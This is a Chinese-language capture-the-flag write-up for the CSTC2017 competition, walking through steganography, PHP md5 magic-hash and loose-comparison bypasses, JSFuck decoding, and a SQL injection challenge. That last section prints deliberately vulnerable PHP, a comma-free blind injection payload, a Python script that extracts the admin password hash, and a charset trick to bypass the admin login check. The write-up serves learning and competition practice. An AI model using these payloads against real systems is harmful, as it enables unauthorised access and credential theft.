1.簽到-歡迎來到CSTC2017
10
歡迎來到CSTC2017
ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=
Base64解密:flag{WeiSuoFyu_BieLang}
2. 種棵樹吧
200
圖片里有一棵樹,樹上結滿勝利的果實!
下載后解壓 有兩張圖
先看2222.jpg 右鍵屬性詳細信息

得到:Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}
再看1111.jpg,用Stegsolve查看

看到圖片結束后有壓縮包 ,改后綴解壓
得到1.gif,但圖片打不開,記事本打開,發現頭文件缺少GIF8 加上去就可以打開了。
然后將GIF圖的字母提權出來。
得到In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}
所以我們得到了
In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}
Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}
百度得知是二叉樹的中序遍歷和后序遍歷。
已知一棵二叉樹的后序序列和中序序列,構造該二叉樹的過程如下:
1.根據后序序列的最后一個元素建立根結點;
2.在中序序列中找到該元素,確定根結點的左右子樹的中序序列;
3.在后序序列中確定左右子樹的后序序列;
4.由左子樹的后序序列和中序序列建立左子樹;
5.由右子樹的后序序列和中序序列建立右子樹.
所以畫出該二叉樹

一行行讀: *hI!HEReIsYourFLAG:flag{n52V-jpU6d_kx8zw}
3. 簽到題
50
比賽開始啦~一盤小菜送上~
注意flag格式是需要加上flag{}的。
右鍵源代碼:

Username 要字母 ,password要數字。但它們md5的值要一樣。
所以想到了php md5 0e的缺陷:PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
找到了md5('240610708') == md5('QNKCDZO')
所以 Username =QNKCDZO password =240610708

右鍵源代碼:

傳入的message要json格式的,出來的key要==$key
但我們不知道$key的值。想到了php松散比較。

字符串 == TRUE 為TRUE

4. 抽抽獎
75
抽獎唄
http://117.34.111.15/
訪問后抓包查看

把jsfuck代碼復制出來,解密得到:

5. so easy!
125
http://117.34.111.15:89/
觀察源代碼:
<?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from `user` where username ='".$username."'"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()['role']; }else{ die("Don't have this user!"); } } function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == 'admin'){ die("you can't login this as admin!"); } $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):""; $action = isset($_GET['action'])?filter($_GET['action']):"source"; switch($action){ case "source": source(); break ; case "login" : login($username,$passwd);break; case "show" : show($username);break; }
可看到filter()函數

過濾了這么多...
‘ select from where ( ) = 都能使用。
所以想到使用盲注
訪問 http://117.34.111.15:89/?action=show
Post 數據為 admin'=(TRUE)='1 返回正確

所以構造語句
因為過濾了逗號,所以語句為
username=admin'=(substring((select(passwd)from(user))from(-1))='8')='1

最后一位為8

后兩位為88
寫腳本跑
#!usr/bin/env python #!coding=utf-8 __author__ = 'zhengjim' import requests url="http://117.34.111.15:89/?action=show" ans="" dic="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" for i in xrange(33): for j in dic: data={"username":"admin'=(substring((select(passwd)from(user))from(-{0}))='{1}{2}')='1".format(str(i),str(j),str(ans))} content=requests.post(url,data=data).content if len(content)>30: ans =j+ans print ans break

跑得密碼
然后在login出登入。

但傳入username如果為admin ,就要退出。
在https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html p牛這篇文章里。
我們可以看到:

就是admin%c2 在php中就不為admin,但在mysql查詢的就是為admin,所以可以繞過
。
原因就是Mysql字段的字符集和php mysqli客戶端設置的字符集不相同。Mysql在轉換字符集的時候,將不完整的字符給忽略了。


只寫了這么多。
